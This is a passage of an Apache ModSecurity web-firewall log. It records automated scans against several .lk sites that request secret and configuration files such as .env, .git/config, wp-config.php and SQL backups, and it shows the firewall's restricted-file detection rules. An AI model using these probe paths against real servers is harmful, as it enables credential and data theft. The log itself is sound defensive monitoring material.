"OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "admin.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaQ3jA8yK8B7kryx3hsAAAAAk"]
[Fri Jul 17 08:28:11.299475 2026] [security2:error] [pid 1993570:tid 1993570] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaQ3jA8yK8B7kryx3hsAAAAAk"]
[Fri Jul 17 08:28:11.299747 2026] [security2:error] [pid 1993570:tid 1993570] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaQ3jA8yK8B7kryx3hsAAAAAk"]
[Fri Jul 17 08:28:11.324468 2026] [security2:error] [pid 2014308:tid 2014308] [client 44.197.191.67:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "admin.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaQwdFk8dCrY-oJNkdCAAAACA"]
[Fri Jul 17 08:28:11.324856 2026] [security2:error] [pid 2014308:tid 2014308] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaQwdFk8dCrY-oJNkdCAAAACA"]
[Fri Jul 17 08:28:11.325140 2026] [security2:error] [pid 2014308:tid 2014308] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaQwdFk8dCrY-oJNkdCAAAACA"]
[Fri Jul 17 08:28:11.567003 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQlh1WDijTxd1xw5I7AAAAAc"]
[Fri Jul 17 08:28:11.600188 2026] [security2:error] [pid 2002425:tid 2002425] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNKUJv0yl2bIgVrkNNwAAABU"]
[Fri Jul 17 08:28:11.778091 2026] [security2:error] [pid 2014322:tid 2014322] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQiBZZ4YwiWQXUfleDgAAACI"]
[Fri Jul 17 08:28:12.013786 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNQRRrtuZqNDDSqWsuQAAABo"]
[Fri Jul 17 08:28:12.095828 2026] [security2:error] [pid 2014285:tid 2014285] [client 44.197.191.67:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "admin.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaRDPV8F2Ufi3kXba6qQAAAB4"]
[Fri Jul 17 08:28:12.096429 2026] [security2:error] [pid 2014285:tid 2014285] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaRDPV8F2Ufi3kXba6qQAAAB4"]
[Fri Jul 17 08:28:12.096739 2026] [security2:error] [pid 2014285:tid 2014285] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaRDPV8F2Ufi3kXba6qQAAAB4"]
[Fri Jul 17 08:28:12.208193 2026] [security2:error] [pid 2005917:tid 2005917] [client 44.197.191.67:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "admin.ksoft.web.lk"] [uri "/.env"] [unique_id "almaRHf2WrySr2miwA73fwAAABY"]
[Fri Jul 17 08:28:12.208421 2026] [security2:error] [pid 2005917:tid 2005917] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/.env"] [unique_id "almaRHf2WrySr2miwA73fwAAABY"]
[Fri Jul 17 08:28:12.208650 2026] [security2:error] [pid 2005917:tid 2005917] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaRHf2WrySr2miwA73fwAAABY"]
[Fri Jul 17 08:28:12.325516 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNkhq6UAnqYko0LpXQgAAABE"]
[Fri Jul 17 08:28:12.671755 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQg7FYe46zHK_jL3MVwAAABk"]
[Fri Jul 17 08:28:12.704538 2026] [security2:error] [pid 2014321:tid 2014321] [client 44.197.191.67:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "admin.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaRNbqW6u97-NXXfOrywAAACE"]
[Fri Jul 17 08:28:12.704819 2026] [security2:error] [pid 2014321:tid 2014321] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaRNbqW6u97-NXXfOrywAAACE"]
[Fri Jul 17 08:28:12.705127 2026] [security2:error] [pid 2014321:tid 2014321] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaRNbqW6u97-NXXfOrywAAACE"]
[Fri Jul 17 08:28:12.752260 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNx15lhZh2QtC5qEWJAAAAB8"]
[Fri Jul 17 08:28:12.884769 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQjRCJXF37-WnVv0ipwAAABI"]
[Fri Jul 17 08:28:13.076662 2026] [security2:error] [pid 2013831:tid 2013831] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaN6hgWo8idb8AQWuZ_QAAABs"]
[Fri Jul 17 08:28:13.265970 2026] [security2:error] [pid 2014285:tid 2014285] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaRTPV8F2Ufi3kXba6qgAAAB4"]
[Fri Jul 17 08:28:13.266333 2026] [security2:error] [pid 2014285:tid 2014285] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaRTPV8F2Ufi3kXba6qgAAAB4"]
[Fri Jul 17 08:28:13.266648 2026] [security2:error] [pid 2014285:tid 2014285] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaRTPV8F2Ufi3kXba6qgAAAB4"]
[Fri Jul 17 08:28:13.567265 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaON0t9Kb_MdNxrg6-vwAAAAM"]
[Fri Jul 17 08:28:13.765879 2026] [security2:error] [pid 1994966:tid 1994966] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env"] [unique_id "almaRbyEqmgiTSUa55oHjgAAABA"]
[Fri Jul 17 08:28:13.766141 2026] [security2:error] [pid 1994966:tid 1994966] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env"] [unique_id "almaRbyEqmgiTSUa55oHjgAAABA"]
[Fri Jul 17 08:28:13.766461 2026] [security2:error] [pid 1994966:tid 1994966] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env"] [unique_id "almaRbyEqmgiTSUa55oHjgAAABA"]
[Fri Jul 17 08:28:13.796710 2026] [security2:error] [pid 2005917:tid 2005917] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaRXf2WrySr2miwA73gAAAABY"]
[Fri Jul 17 08:28:13.796981 2026] [security2:error] [pid 2005917:tid 2005917] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaRXf2WrySr2miwA73gAAAABY"]
[Fri Jul 17 08:28:13.797278 2026] [security2:error] [pid 2005917:tid 2005917] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaRXf2WrySr2miwA73gAAAABY"]
[Fri Jul 17 08:28:13.878255 2026] [security2:error] [pid 1993570:tid 1993570] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaRXjA8yK8B7kryx3hsgAAAAk"]
[Fri Jul 17 08:28:13.878503 2026] [security2:error] [pid 1993570:tid 1993570] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaRXjA8yK8B7kryx3hsgAAAAk"]
[Fri Jul 17 08:28:13.878827 2026] [security2:error] [pid 1993570:tid 1993570] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaRXjA8yK8B7kryx3hsgAAAAk"]
[Fri Jul 17 08:28:13.942083 2026] [security2:error] [pid 2013810:tid 2013810] [client 44.197.191.67:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "admin.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaRSY5vpBDD-fJ9tQLkwAAABc"]
[Fri Jul 17 08:28:13.942401 2026] [security2:error] [pid 2013810:tid 2013810] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaRSY5vpBDD-fJ9tQLkwAAABc"]
